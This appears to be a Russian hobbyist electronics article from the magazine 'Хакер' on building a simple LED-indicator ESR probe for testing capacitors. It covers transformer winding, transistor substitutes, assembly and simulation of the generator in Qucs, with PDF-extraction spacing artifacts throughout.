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ESR-ÏÐÎÁÍÈÊ ÏÐÎÙÅ ÏÐÎÑÒÎÃÎ

Как ты понима ешь, такой прос той и фун кци ональ ный при бор не мог мне
не пон равить ся. Я уж сов сем было соб рался его изго товить, но обна ружил,
что у меня нет мил лиам пермет ра. Что бы выяс нить, нель зя ли чем-нибудь
заменить инди катор ную схе му, приш лось про дол жить поис ки. Вско ре я
не толь ко нашел удов летво ритель ный ответ на свой воп рос, но и узнал исто- 
рию это го прос того проб ника.

Ес ли верить обсужде нию на форуме , то идею исполь зования
бло кинг-генера тора для про вер ки кон денса торов пред ложил в 2002 году
телемас тер Мой ше Романов из изра иль ско го города Лод. Его статья опуб- 
ликова на в раз деле «Раз работ ки!» вто рой кни ги трех томни ка «1001 сек рет
телемас тера», а схе ма содер жит два допол нитель ных кон денса тора, ста били- 
зиру ющих работу генера тора. Пос коль ку у нас все и так работа ет, лиш ние
детали добав лять мы не будем, а обра тим вни мание на то, что в качес тве
инди като ра он исполь зовал один-единс твен ный све тоди од, под клю чен ный
непос редс твен но к инди катор ной обмотке.

monitor.net.ru

Это же сов сем меня ет дело! Уж све тоди од-то най ти боль шого тру да
не сос тавля ет. Я, нап ример, выпа ял белый 3-мил лимет ровый из при шед шей
в негод ность китай ской лам почки, а нес коль ко раз ноцвет ных наш лось
в короб ке с ради оде таля ми. А вот как выг лядит схе ма ESR-проб ника со све- 
тоди одом.

Схе ма ESR-проб ника с инди катор ной цепью на све тоди оде

ÍÀÑÒÐÎÉÊÀ ÏÐÎÑÒÅÉØÅÃÎ ESR-ÏÐÎÁÍÈÊÀ

Как поль зовать ся при бором без стре лоч ного инди като ра? Очень прос то:
теперь при разом кну той изме ритель ной цепи све тоди од будет гореть в пол- 
ный накал, исполь зуя пос тупа ющую от генера тора энер гию. Как толь ко изме-
ритель ная цепь зам кнет ся, яркость све тоди ода умень шит ся в той сте пени,
в которой энер гия будет отби рать ся изме ритель ной цепью.

Нас трой ку при бора теперь надо про изво дить сле дующим обра зом. Сна- 
чала сле дует уста новить соп ротив ление подс тро ечно го резис тора в изме- 
ритель ной цепи на минимум. Затем зам кнуть накорот ко изме ритель ную цепь
(све тоди од дол жен пол ностью погас нуть) и уве личи вать ее соп ротив ление
подс тро ечным резис тором до тех пор, пока не ста нет замет ным све чение
све тоди ода.

Для испы тания вмес то кон денса торов мож но исполь зовать обыч ные
резис торы. В хорошо отре гули рован ном при боре све тоди од «тле ет»
при изме рении резис тора в 1 Ом, горит впол накала на резис торе 10 Ом и в
пол ный накал — для резис торов 20 Ом и более. При мер но так же он будет
вес ти себя при про вер ке кон денса торов: отсутс твие све чения говорит
о хорошем качес тве испы туемо го образца, а более-менее замет ное све- 
чение — о слиш ком боль шом соп ротив лении.

Продолжение статьи →

https://monitor.net.ru/forum/threads/302728/page-6
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ÁÎËÒÛ È ÎÐÅÕÈ

Для изго тов ления элек три чес кой сос тавля ющей ESR-проб ника с упро щен ной
инди катор ной частью тре буют ся сле дующие детали и матери алы:

би поляр ный n-p-n-тран зистор BC547B;•
пос тоян ный резис тор 2 кОм для защиты тран зисто ра;•
подс тро ечный резис тор 10 кОм для регули ров ки тока базы тран зисто ра;•
подс тро ечный резис тор 10 Ом для нас трой ки нуля в изме ритель ной цепи;•
вы вод ной круг лый све тоди од с диамет ром лин зы 3–5 мм (рекомен дует ся
белый, но дру гие цве та тоже годят ся);

•

то роидаль ный фер ритовый сер дечник (коль цо) для изго тов ления тран- 
сфор матора;

•

на моточ ный про вод ПЭВ-1 0,25 мм (для обмо ток генера тора и инди катор- 
ной обмотки);

•

на моточ ный про вод ПЭВ-1 0,5 мм (для изме ритель ной обмотки);•
фто роп ласто вая лен та (лен та ФУМ) для межоб моточ ной изо ляции;•
ба тарей ный отсек (дер жатель) на один эле мент AA;•
ще лоч ной (алка лино вый) эле мент питания AA/LR6;•
вык лючатель (любого типа).•

У любого мас тера по ремон ту ради оап парату ры этих «ком плек тующих» куры
не клю ют. Но если ты боль шей частью занима ешь ся прог рам мны ми задача- 
ми, то некото рые позиции могут выз вать воп росы. Что бы упростить тебе пер- 
вые шаги, я испы тал некото рые аль тер натив ные решения.

Èìïóëüñíûé òðàíñôîðìàòîð
Сер дце опи сыва емо го при бора — мно гооб моточ ный высоко час тотный
импуль сный тран сфор матор, который надо, как в ста рые доб рые вре мена,
изго товить сво ими руками. Если ты учил ся в шко ле, то, конеч но, зна ешь, что
тран сфор матор пред став ляет собой нес коль ко обмо ток про вода на сер- 
дечни ке. И у тебя сра зу может воз никнуть мно жес тво идей отно ситель но того,
как его конс трук цию мож но упростить и, воз можно, даже улуч шить. Что бы
избе жать разоча рова ния и упре ков «Я при бор соб рал, а он не работа ет!»,
давай сра зу обсу дим некото рые из них.

А нель зя ли в качес тве сер дечни ка исполь зовать не фер рит, а, нап ример,
каран даш? К сожале нию, на каран даше тран сфор матор не зарабо тает. Одна
из фун кций сер дечни ка — обес печение силь ной маг нитной свя зи меж ду
катуш ками, а для это го матери ал, из которо го он изго тов лен, дол жен обла- 
дать дос таточ но высоким зна чени ем маг нитной про ница емос ти. Если у необ- 
ходимых фер ритовых колец отно ситель ная маг нитная про ница емость (она
обоз нача ется гре чес кой бук вой мю) изме ряет ся сот нями еди ниц, то у гра- 
фита и дерева она поч ти такая же, как у воз духа, — око ло еди ницы.

Ну хорошо, тог да, может быть, подой дет тол стый желез ный гвоздь (или
связ ка гвоз дей потонь ше), у которо го величи на мю — нес коль ко тысяч? Ведь
сер дечни ки тран сфор маторов в бло ках питания набира ются из сталь ных
плас тин? Нет, гвоздь тоже не годит ся. И дело тут уже не в маг нитной свя зи,
а в физичес ких про цес сах, которые про тека ют в метал лах, ког да их про низы- 
вают маг нитные поля высокой час тоты.

Си ловой тран сфор матор, о котором ты вспом нил, работа ет на синусо- 
идаль ном токе час тотой 50 Гц (при чем фор ма и час тота тока выдер жива ются
с очень высокой точ ностью), а в нашем при боре какие-то неиз вес тные
импуль сы сле дуют с час тотой око ло полусот ни килогерц. Кста ти, боль шинс- 
тво теоре тичес ких фор мул, которые мож но встре тить в учеб никах и спра воч- 
никах, выводи лись имен но для «пра виль ного» синусо идаль ного тока и при
несоб людении это го усло вия дают весь ма приб лизитель ный резуль тат.

Так что, как ни кру ти, для тран сфор матора ЭПС-инди като ра нужен имен но
фер ритовый сер дечник. А вот его фор ма не очень важ на. Я про бовал наматы- 
вать про вод и на стер жень маг нитной антенны ради опри емни ка, и на
П-образный сег мент сер дечни ка телеви зион ного тран сфор матора ТДКС
(который был даже трес нут, пос ле чего скле ен) — в обо их слу чаях при бор
фун кци они ровал. Но луч ше все го под ходят фер ритовые коль ца жел того цве та
с белой полосой из компь ютер ного бло ка питания, в котором я обна ружил
два типа таких колец: 15 × 8 × 6 (малое) и 23 × 18 × 10 (боль шое), где раз меры
D1 × D2 × H ука заны в мил лимет рах.

То роидаль ный фер ритовый сер дечник и фор мула для рас чета индуктив -
ности намотан ных на нем катушек

На малое фер ритовое коль цо хорошо лег ли 50 вит ков про вода
ПЭВ-1 0,30 мм пер вичной обмотки (для нее мне понадо билось 110 см про- 
вода), с отво дом от середи ны, и 50 вит ков это го же про вода вто рич ной (инди- 
катор ной) обмотки. Ее пот ребова лось уже 120 см, потому что она мота ется
поверх пер вичной. Свер ху каж дой обмотки для изо ляции я уло жил по два
слоя фто роп ласто вой лен ты ФУМ, которую мож но при обрести в магази не
сан техни ки. Что бы «про шивать» тран сфор матор было удоб нее, я изго товил
из кус ка мед ной жилы элек три чес кого кабеля типа ВВГ 2 × 1,5 чел нок,
на который намотал пред варитель но отме рен ный отре зок намоточ ного про- 
вода. А что бы потом не перепу тать обмотки, на выводах вто рич ной завязал
узел ки.

Фер ритовый сер дечник с выпол ненной пер вичной обмоткой и чел нок,
под готов ленный к намот ке вто рич ной обмотки

Ко неч но, намоточ ный про вод в лаковой изо ляции на сегод няшний день
не самый рас простра нен ный матери ал. Я не удив люсь, если в тво ем рюк заке
его нет. Но не может быть, что бы у нас тояще го хакера не заваля лось отрезка
витой пары пятой катего рии! У тебя вок руг толь ко Wi-Fi и опти ка? Даже если
и так, витую пару пока еще не сос тавля ет тру да при обрести в отде ле элек три- 
ки любого стро итель ного магази на. Ну, допус тим, с мед ной из-за тоталь ной
эко номии теперь дей стви тель но могут воз никнут слож ности, но алю мини евую
«омед ненку» CCA (Copper Coated Aluminium — алю миний, пок рытый медью)
ты точ но най дешь. Для опре делен ности я исполь зовал двух метро вый отре зок
самого дешево го кабеля KC CAT5E UTP CABLE 24AWG /4P CCA TIA/EIA 568B.

Пос ле сня тия внеш ней ПВХ-обо лоч ки у меня получи лось четыре раз- 
ноцвет ные пары одно жиль ных про водов в плас тиковой изо ляции общей дли- 
ной восемь мет ров, чего хва тило на все экспе римен ты. Имей в виду, что алю- 
мини евые жилы доволь но лом кие, поэто му при работе с про вода ми ста рай ся
не делать рез ких изги бов. Если про вод все же где-нибудь перело мает ся, его
мож но срас тить акку рат ной скрут кой, пай кой и пос леду ющей изо ляци ей мес- 
та соеди нения. Не забывай, что фер рит хоть и пло хо, но про водит элек три- 
чес тво, поэто му пря мых кон тактов сер дечни ка с ого лен ным обмо точ ным про- 
водом надо избе гать. Как бы то ни было, мне уда лось нес коль ко раз перемо- 
тать тран сфор матор одним и тем же про водом, и он не сло мал ся.

INFO

Тон кие изо лиро ван ные про вода, при год ные
для намот ки тран сфор матора ЭПС-инди като ра,
мож но добыть не толь ко из витой пары, но и
из сла боточ ного кабеля КСПВ, который при меня- 
ется для раз водки телефон ных сетей и сиг- 
нализа ции. Желатель но толь ко, что бы жилы в тво- 
ем про воде были однопро волоч ными, а не «пле- 
тен кой» из мно жес тва тон ких про воло чек.

Единс твен ная проб лема при исполь зовании намоточ ного про вода в плас- 
тиковой изо ляции зак люча ется в его тол щине — он занима ет мно го мес та
на сер дечни ке, поэто му и сер дечник ему тре бует ся поболь ше. К счастью,
боль шое фер ритовое коль цо оставля ет дос таточ но прос транс тва для манев- 
ра. Пер вичная обмотка выпол няет ся 25 вит ками отрезка витой пары дли- 
ной 89 см. Почему не 50 вит ков? Это неболь шая хит рость для того, что бы
умень шить себе работу и не рас пле тать «косич ку». Пос ле намот ки конец
одно го про вода пары (нап ример, зелено го) надо соеди нить с началом дру- 
гого про вода (бело-зелено го). Мес то соеди нения обра зует сред ний
вывод 50-вит ковой обмотки. Вто рич ную (инди катор ную) обмотку мож но
выпол нить ана логич но оставши мися 111 см этой же пары, но мес то соеди- 
нения раз ноцвет ных про водов в этот раз надо заизо лиро вать.

INFO

Во обще говоря, нап равле ние намот ки в этом
при боре име ет сущес твен ное зна чение. От вза- 
имно го нап равле ния намот ки пер вичной и вто- 
рич ной инди катор ной обмо ток тран сфор матора
зависит поляр ность вклю чения све тоди ода.
Но про ще выпол нить намот ку всех обмо ток оди- 
нако вым обра зом, а потом выб рать ту поляр ность
вклю чения све тоди ода, при которой он све тит ся
более ярко.

Ес ли не стре мить ся исполь зовать одну пару двух метро вой дли ны, то мож но
выпол нить намот ку раз ными парами, взяв для пер вичной обмотки отре зок
дли ной 95 см, а для вто рич ной — 120 см. Это поз волит фор мировать дли ну
выводов обмо ток с запасом, кро ме того, выводы пер вичной и вто рич ной
обмо ток будет удоб но раз личать по цве ту, так что мож но их не мар кировать.
Как ты понима ешь, завязы вать этот про вод в узел ки нель зя — перело мает ся,
но мож но прос то обмо тать выводы пер вичной обмотки нит ками. Жес ткость
пары про водов дос таточ на, что бы «про шивать» сер дечник без исполь зования
чел нока.

Фер ритовый сер дечник с пер вичной обмоткой, выпол ненной парой про -
водов в плас тиковой изо ляции

Ос талось сде лать изме ритель ную обмотку, кон цы которой будут касать ся
выводов про веря емо го кон денса тора. Ее рекомен дует ся выпол нять более
тол стым про водом (диамет ром 0,5 мм или боль ше), что бы он смог про пус- 
тить через себя раз ряд кон денса тора, если тот вдруг ока жет ся заряжен, и не
раз рушил ся. Если у тебя такого про вода нет, можешь взять четыре отрезка
оди нако вой дли ны оставше гося обмо точ ного про вода и соеди нить их кон цы,
что бы получил ся четырех про вод ный жгут. Но я исполь зовал прос то оди ноч- 
ный обмо точ ный про вод.

Ка кой дли ны? Пос читай сам, исхо дя из того, что пот ребу ется шесть вит- 
ков. Наматы вая изме ритель ную обмотку, рас полагай вит ки по сер дечни ку
рав номер но. А вооб ще, изме ритель ную обмотку луч ше добав лять по одно му
вит ку уже пос ле того, как при бор будет соб ран. Если при вклю чении при бора
с зам кну той изме ритель ной обмоткой инди катор ный све тоди од горит, то
надо добавить еще виток. А если нет, то вит ков дос таточ но и подс тро ечным
резис тором надо уста новить точ ку начала его све чения.

INFO

Подс тро ечный резис тор на 10 Ом встре чает ся
реже, чем его кило омные и мега омные соб ратья.
Если у тебя такого не ока жет ся, можешь взять
нес коль ко низ коом ных пос тоян ных резис торов
номина лом от 1 до 10 Ом и, исполь зуя их пос- 
ледова тель но-парал лель ное соеди нение, добить- 
ся нуж ного соп ротив ления. При этом щупы удоб- 
но под клю чить к изме ритель ной обмотке нап- 
рямую и наб людать показа ния при бора при изме- 
рении такого сос тавно го резис тора. Ког да точ ка
нуля будет най дена, оста ется впа ять этот сос- 
тавной резис тор меж ду выводом обмотки
и одним из щупов.

Òðàíçèñòîð
Что каса ется тран зисто ра, то нам дол жен подой ти любой маломощ ный
обратной про води мос ти. Пос мотрим спе цифи кацию тран зисто ра BC547B.
Помимо важ ных све дений о наз начении его выводов, мы можем узнать, что
гра нич ная час тота его работы Ft = 300 МГц, коэф фици ент уси ления Hfe = 200,
допус тимый ток кол лекто ра Ic = 100 мА при мак сималь ном нап ряжении меж ду
кол лекто ром и эмит тером Vces = 50 В, рас сеиваемая мощ ность Pta =
500 мВт. По  белорус ско го завода «Интеграл», ана- 
логом тран зисто ра BC547B слу жит тран зистор КТ3102БМ.

ин форма ции на сай те

Но гораз до боль ший инте рес пред став ляет ответ на воп рос, не подой дет
ли в качес тве замены дорогой сер дцу всех ради олю бите лей на пос тсо вет- 
ском прос транс тве . Его мож но встре тить прак тичес ки
в любой ради оап парату ре совет ско го про изводс тва. Мне попались модифи- 
кации с бук вами Б и Г в клас сичес ком кор пусе КТ-13, хотя про изво дилась
поч ти полови на алфа вита.

тран зистор КТ315

Пас пор тные харак терис тики КТ315 нем ного усту пают BC547B, но в рас- 
смат рива емом при боре они исполь зуют ся далеко не в пол ной мере. А прак- 
тичес кие испы тания показа ли, что такая замена впол не допус тима. Более
того, если у тебя вдруг ока зал ся тран зистор про тиво полож ной про води мос ти,
не n-p-n, а p-n-p, нап ример BC557B или КТ361, то можешь исполь зовать
и его, но при этом изме ни поляр ность вклю чения батарей ки. Ког да тран- 
зистор будет выб ран, надо выяс нить, где у него находят ся кол лектор (К), база
(Б) и эмит тер (Э), а потом решить, как они будут соеди нены с осталь ными
эле мен тами схе мы.

Внеш ний вид и рас положе ние выводов тран зисто ров BC547B и КТ315

WARNING

Сей час тран зистор КТ315 выпус кает ся белорус- 
ским заводом «Интеграл» в кор пусе КТ-26 — оте- 
чес твен ном ана логе TO-92 — и внеш не выг лядит
точ но так же, как BC547B. Но порядок сле дова ния
«ножек» у этих тран зисто ров раз ный. Поэто му
перед исполь зовани ем в при боре неиз вес тно го
тран зисто ра никог да не полагай ся на внеш нее
сходс тво и обя затель но про веряй наз начение
выводов по спе цифи кации. А луч ше все го еще и
проз вонить тран зистор муль тимет ром, что бы убе- 
дить ся, что хотя бы его базовый вывод на мес те.

На схе ме при бора в базовой цепи тран зисто ра показан один-единс твен ный
резис тор. Можешь пос тупить в соот ветс твии со схе мой и пос тавить эле мент
соп ротив лени ем от 6,8 до 10 кОм. Но если хочешь поэк спе римен тировать, то
уста нови пос ледова тель но соеди нен ные перемен ный резис тор 10 кОм
и пос тоян ный резис тор 2 кОм. Пос ледний защитит тран зистор в том слу чае,
если, увлекшись опы тами, ты вык рутишь перемен ный резис тор на ноль.

Ñáîðêà è îôîðìëåíèå
Для сбор ки инди като ра ЭПС тебе, конеч но же, пот ребу ется паяль ник, при пой
и флюс. Если будешь собирать навес ным мон тажом, то удоб нее исполь- 
зовать ста рый доб рый паяль ник мощ ностью 40–60 Вт с мед ным жалом, уни- 
вер саль ный при пой ПОС-61 и канифоль. О тех нологии пай ки почита ешь сам,
матери алы про меры пре дос торож ности при работе с высоким нап ряжени ем
и горячим паяль ником тоже най ти нет рудно.

WARNING

Я хочу отме тить толь ко один воп рос тех ники
безопас ности, который час то оставля ют без вни- 
мания. Не поленись и перед началом работы
надень защит ные очки. Если не хочешь покупать
готовые, можешь вырезать их из плас тиковой
бутыл ки от минераль ной воды. Пос коль ку тебе
при дет ся паять на весу пру жиня щие выводы
обмо ток тран сфор матора, веро ятность раз брыз- 
гивания рас плав ленно го при поя доволь но
высока. И по закону под лости летит он не в
бровь, а пря мо в глаз. Такое попада ние не всег да
при водит к фаталь ным пос ледс тви ям, но удо- 
воль ствия тоже не дос тавля ет. Если не стре мишь- 
ся в ряды одногла зых пиратов, то позаботь ся
о сво ем зре нии!

Жиз ненный путь мно гих самоде лок завер шает ся на эта пе рас паян ной пла ты
или клуб ка про водов и деталей. Воз можность их полез ного исполь зования
в таком виде весь ма огра ничен на. Через неп родол житель ное вре мя где-то
наруша ется кон такт и при бор перес тает работать, а инте реса к поис ку неис- 
прав ности уже не оста ется. Что бы обес печить инди като ру ЭПС более счас- 
тли вую судь бу, его надо помес тить в кор пус и снаб дить изме ритель ными
щупами. Мож но встре тить вари анты рас положе ния элек трон ной схе мы в кор- 
пусе боль шого мар кера, где один кон такт изме ритель ной обмотки выведен
вмес то пишуще го стер жня, а вто рой — гиб ким про водом через проб ку мар- 
кера. Про ще, конеч но, вос поль зовать ся плас тиковой короб кой. В качес тве
бюд жетно го вари анта можешь рас смот реть мыль ницу.

Я же решил сде лать деревян ный кор пус. Что бы не выпол нять кле евых
соеди нений, выпилил «пионер ским» лоб зиком в отрезке тол стой дос ки объ ем
для раз мещения элек трон ных ком понен тов, из более тон кой дощеч ки изго- 
товил тыль ную и лицевую крыш ки. На лицевой помес тил инди катор ный све- 
тоди од и вывел кон такты двух никуда боль ше не под клю чен ных резис- 
торов 4,7 и 10 Ом. Перед началом работы я каса юсь этих выводов изме- 
ритель ными щупами (которые изго товил из пус тых стер жней типа «пар кер»),
чем, с одной сто роны, про веряю работу при бора, а с дру гой — «калиб рую»
свое зре ние на изме нение яркости све тоди ода.

Ин дикатор ЭПС в соб ранном виде

Что бы исклю чить воз можность корот ких замыка ний, можешь вырезать из кар- 
тонки макет ную пла ту, уста новить на ней детали, про пус тив их выводы в про- 
делан ные шилом отвер стия, пос ле чего соеди нить выводы отрезка ми про- 
водов. Это обес печит дос таточ ную жес ткость конс трук ции.

На деюсь, что работа над этим прос тым при бором дос тавит тебе нес коль- 
ко при ятных часов и поз волит про ник нуть ся маги ей ана лого вой элек тро ники!

Продолжение статьи →

https://integral-catalog.by/produktsiya/poluprovodnikovye-pribory/tranzistory/
https://habr.com/ru/companies/zeptobars/articles/179265/


ХАКЕРСКИЙ ТЕСТЕР
СОБИРАЕМ ИНДИКАТОР ЭПС СВОИМИ

РУКАМИ

GEEK  НАЧАЛО СТАТЬИ←

ÏÐÈÍÖÈÏ ÐÀÁÎÒÛ ÃÅÍÅÐÀÒÎÐÀ ESR-ÏÐÎÁÍÈÊÀ

Да вай поп робу ем, не пог ружа ясь в глу бины элек тро дина мики и не выходя
далеко за пре делы школь ной физики, опи сать работу при менен ного в при- 
боре генера тора на качес твен ном уров не. Для удобс тва покажем на сле- 
дующем рисун ке левую, генера тор ную часть схе мы при бора.

Би поляр ный тран зистор в ней игра ет роль перек лючате ля, который то
вклю чает в цепь ниж нюю полови ну пер вичной обмотки, при соеди нен ную
к кол лекто ру, то вык люча ет ее. Ток через вер хнюю полови ну пер вичной
обмотки, которая под клю чена к базе тран зисто ра, огра ничен резис тором.
По закону Био — Савара — Лап ласа модуль индукции соз дава емо го током
маг нитно го поля пря мо про пор циона лен силе это го тока, поэто му вли янием
базово го тока на маг нитные про цес сы в тран сфор маторе мож но пре неб речь.

Роль базово го тока зак люча ется толь ко в управле нии тран зисто ром.
Наобо рот, изме нения гораз до более силь ного кол лектор ного тока инду циру- 
ют зна читель ную ЭДС в осталь ных обмотках тран сфор матора (в том чис ле
и не показан ных здесь инди катор ной и изме ритель ной) и опре деля ют его
работу.

Прин ципи аль ная схе ма генера тора (сле ва) и нап равле ние индукции маг -
нитно го поля при двух воз можных вари антах намот ки пер вичной обмотки
(спра ва)

В шко ле мы узна ли пра вило бурав чика, в соот ветс твии с которым нап равле- 
ние век тора маг нитной индукции B обус ловле но тем, как будет оги бать сер- 
дечник текущий в обмотке ток I — по часовой стрел ке или про тив нее, если
смот реть с выб ранно го кон ца сер дечни ка, вер хне го или ниж него. Это пра- 
вило дает два сущес твен но отли чающих ся спо соба намот ки, которые схе- 
матич но изоб ражены на рисун ке спра ва. Но в любом слу чае если дела ется
отвод от сред него вит ка обмотки, то нап равле ния намот ки обра зовав шихся
половин будут вза имно про тиво полож ными.

Те перь мы можем рас смот реть поэтап но, что про исхо дит в генера торе,
ког да при бор вклю чает ся.

Фа за 1. Тран зистор зак рыт, поэто му через кол лектор ную обмотку тока нет.
Нап ряжение питания выше порога откры тия базово го p-n-перехо да (око- 
ло 0,7 В для крем ниевых тран зисто ров). Поэто му через базу тран зисто ра
начина ет течь ток. Ско рость нарас тания это го тока огра ниче на активным соп- 
ротив лени ем базовой цепи и само индукци ей в базовой катуш ке, которая ему
пре пятс тву ет.

Фа за 2. С уве личе нием базово го тока тран зистор при откры вает ся, через
кол лектор ную обмотку начина ет течь быс тро уве личи вающий ся ток I1, нарас- 
танию которо го пре пятс тву ют те же явле ния, что и в базовой катуш ке. Уве- 
личе ние кол лектор ного тока при водит к нарас танию маг нитной индукции
B1 и обра зован ного ею маг нитно го потока Ф1, который про низы вает и вит ки
базовой обмотки, находя щей ся на том же сер дечни ке. В соот ветс твии с пра- 
вилом Лен ца, этот про цесс инду циру ет в базовой обмотке такую ЭДС, что бы
маг нитная индукция B2 соз дава емо го ею тока I2 пре пятс тво вала уве личе нию
маг нитно го потока Ф1. То есть нап равле ние B2 про тиво полож но B1, а ток
I2 скла дыва ется с сущес тву ющим базовым током и уси лива ет его. Таким
обра зом, меж ду кол лектор ной и базовой обмотка ми сущес тву ет положи тель- 
ная обратная связь.

Фа за 3. Даль нейшее уве личе ние базово го тока при водит к еще боль шему
откры тию тран зисто ра до тех пор, пока он не перей дет в режим насыще ния
и не откро ется пол ностью. Ток через кол лектор ную обмотку дос тига ет мак- 
сималь ного зна чения, изме нение маг нитно го поля прек раща ется, а вмес те
с ним прек раща ется и под дер жка базово го тока индукци онным током.

Фа за 4. Базовый ток умень шает ся, что при водит к час тично му зак рытию
тран зисто ра и умень шению кол лектор ного тока, которое, в свою оче редь,
вызыва ет изме нение маг нитно го поля, соз дава емо го кол лектор ной катуш кой.
Положи тель ная обратная связь, опи сан ная в фазе 2, начина ет дей ство вать
в обратном нап равле нии до тех пор, пока базовый ток не оста новит ся и тран- 
зистор не зак роет ся. Соз дают ся усло вия, соот ветс тву ющие фазе 1, и про- 
цесс пов торя ется.

Уви деть про исхо дящие в цепи генера тора про цес сы воочию поз волил бы
осциллог раф, но при открыть завесу тай ны мож но и с помощью компь ютер ной
модели, которая опи сана в сле дующем раз деле.

ÌÎÄÅËÈÐÎÂÀÍÈÅ ÃÅÍÅÐÀÒÎÐÀ ÈÍÄÈÊÀÒÎÐÀ ÝÏÑ

Для модели рова ния элек трон ной схе мы генера тора мож но вос поль зовать ся
прог раммой Qucs. Что бы уста новить вер сию 0.0.19 под Windows, дос таточ но
ска чать  и рас паковать его на диск. Запус кает ся
прог рамма сце нари ем . Если ты до это го никог да не работал с этим

при ложе нием, почитай руководс тво для начина ющих, дос тупное в меню
«Справ ка → Быс трый старт». Оно, как и интерфейс прог раммы, переве дено
на рус ский язык, поэто му проб лем воз никнуть не дол жно. Выпол нение прос- 
того упражне ния «Быс трый старт в ана лого вом модели рова нии» из это го
руководс тва быс тро вве дет тебя в курс дела.

дис три бутив ный ZIP-архив
qucs.bat

Ког да осво ишь ся в прог рамме, пред лагаю пос тро ить модель генера тора
нашего инди като ра ЭПС, изоб ражен ную на сле дующем рисун ке.

Мо дель генера тора инди като ра ЭПС

Пер вая попыт ка модели рова ния пов лекла две проб лемы. Во-пер вых, я забыл
добавить ком понент «Модели рова ние переход ного про цес са» (на боковой
панели: «Ком понен ты → Виды модели рова ния → Tra Модели рова ние
переход ного про цес са»), из-за чего получал сооб щение об ошиб ке «checker
error, no actions dened: nothing to do». Парамет ры модели рова ния мож но ука- 
зать такие: начало — 0, конец — 100 мкс, шаг — 100 нс, количес тво отсче- 
тов — 1001. Во-вто рых, ког да про цесс модели рова ния запус тился, в ана- 
логич ном окне пос ле серии пре дуп режде ний «WARNING: ...» я получил сооб- 
щение «ERROR: TR1: Jacobian singular at t = 5.018e-011, aborting transient
analysis». Ока залось, что даже зам кну тая цепь не хочет модели ровать ся, если
она не зазем лена. Пос ле добав ления знач ка зазем ления (ты можешь его уви- 
деть спра ва от эле мен та питания) модели рова ние прош ло успешно.

INFO

Ес ли у тебя воз никли труд ности с сос тавле нием
элек трон ной схе мы, не уда ется изба вить ся
от оши бок модели рова ния или ты прос то хочешь
побыс трее перей ти к экспе римен там, 

 с готовой про верен ной моделью. Заг рузи
его в прог рамму Qucs с помощью пун кта меню
«Файл → Открыть», запус ти рас чет модели
в меню «Модели рова ние → Модели ровать» и,
ког да про цесс завер шится, пос мотри получив- 
ший ся резуль тат с помощью пун кта меню
«Модели рова ние → Прос мотр дан ных/схе мы».

дер жи
файл

Что мож но ска зать об этой модели? Величи ны индуктив ностей обмо ток тран- 
сфор матора я рас счи тал по фор муле для катуш ки индуктив ности с торо- 
идаль ным сер дечни ком пря моуголь ного сечения, под ста вив раз меры малого
фер ритово го коль ца, в пред положе нии, что отно ситель ная маг нитная про- 
ница емость его матери ала рав на 825. Для 25-вит ковых пер вичных полу обмо- 
ток генера тора получи лось око ло 0,4 мГн, а для 50-вит ковой вто рич ной инди- 
катор ной обмотки — 1,6 мГн. Как ты можешь видеть, в 100 мкс вре мени
модели рова ния раз мести лись шесть с полови ной пери одов, что соот ветс тву- 
ет час тоте око ло 65 кГц. Обра ти вни мание на соот ношение кол лектор ного
(зеленый) и базово го (крас ный) токов, а так же на пило образную фор му
импуль сов. Имен но быс трое раз мыкание цепи тран зисто ром при водит к воз- 
никно вению элек трод вижущей силы (ЭДС) в инди катор ной обмотке (синий
ток), величи на которой в импуль се под бира ется к 100 В.

Кое-что о трансформаторах
Ты вспом нил школь ную фор мулу, в соот ветс твии с которой нап ряжение
на обмотках тран сфор матора про пор циональ но количес тву их вит ков, и тебя
уди вили такие боль шие величи ны на вто рич ной обмотке? Не забывай, что
в шко ле изу чались тран сфор маторы синусо идаль ного, а не импуль сно го нап- 
ряжения, поэто му в резуль татах модели нет ничего парадок саль ного.

Ска жу боль ше: экспе римен тируя с тран сфор матора ми на раз ных сер- 
дечни ках, пос ле намот ки пер вичной и инди катор ной вто рич ной обмо ток я
сна чала про верял их целос тность, как полагал, прос тым и ори гиналь ным спо- 
собом. Ко вто рич ной обмотке я под клю чал све тоди од, пос ле чего один конец
пер вичной обмотки при жимал к минусу батарей ки, а дру гим «чир кал» по плю- 
су, как спич кой по короб ку. Све тоди од при этом мигал, и я счи тал, что все
в поряд ке, пока вдруг схе ма не перес тала работать.

Не най дя пов режде ния в соеди нени ях, я нес коль ко раз перемо тал тран- 
сфор матор, но све тоди од не загорал ся даже в вари антах, которые работа ли
до это го. Тог да я догадал ся про верить све тоди од тес тером и уви дел, что он
неис пра вен. Маг нитный поток изме нял ся так быс тро и импуль сы нап ряжения,
которые генери рова лись тран сфор матором при моем спо собе про вер ки,
ока зались нас толь ко велики, что вывели его из строя. Пос ле замены све тоди- 
ода все схе мы сно ва зарабо тали. А ста рый све тоди од, даже неис прав ный,
по-преж нему помиги вает от высоко го нап ряжения, если им «про верять»
тран сфор матор.

Да же такая прос тая модель поз воля ет мно гое узнать об элек трон ной схе ме.
Поп робуй изме нить соп ротив ление в базовой цепи с 10 на 5 кОм и убе дись,
что это при ведет к сни жению час тоты генера тора поч ти до 40 кГц, а пики нап- 
ряжения в инди катор ной цепи вырас тут вдвое. Пило образный сиг нал счи тает- 
ся не луч шим вари антом для тес тирова ния кон денса торов. Поп робуй соеди- 
нить кол лектор и эмит тер тран зисто ра кон денса тором емкостью 10 нФ и пос-
мотри сам, что из это го получит ся.

Про водя экспе римен ты в прог рамме Qucs, не забывай, что модель —
это упро щен ное отра жение дей стви тель нос ти. На работу реаль ного при бора
будут вли ять вза имное рас положе ние ком понен тов, акку рат ность мон тажа
и мно жес тво дру гих фак торов, которые невоз можно не то что учесть, но даже
пре дус мотреть. Что бы говорить об адек ватнос ти модели, надо глу боко
понимать положен ные в ее осно ву прин ципы, раз бирать ся в методах, которы- 
ми она реали зует ся, и знать при нятые при модели рова нии допуще ния. Не зря
говорят, что теоре тичес ки нет раз ницы меж ду теорией и прак тикой, а на прак- 
тике она есть!

https://sourceforge.net/projects/qucs/files/qucs-binary/0.0.19/qucs-0.0.19-win32-mingw482-asco-freehdl-adms.zip/download
http://iaesr.sch/


СТАНЬ АВТОРОМ
«ХАКЕРА»!

«Хакеру» нуж ны новые авто ры, и ты можешь стать одним
из них! Если тебе инте рес но то, о чем мы пишем, и есть
желание иссле довать эти темы вмес те с нами, то не упус ти
воз можность всту пить в ряды наших авто ров и получать
за это все, что им при чита ется.

 Раз мер зависит
от слож ности и уни каль нос ти темы и объ ема про делан ной работы (но
не от объ ема тек ста).

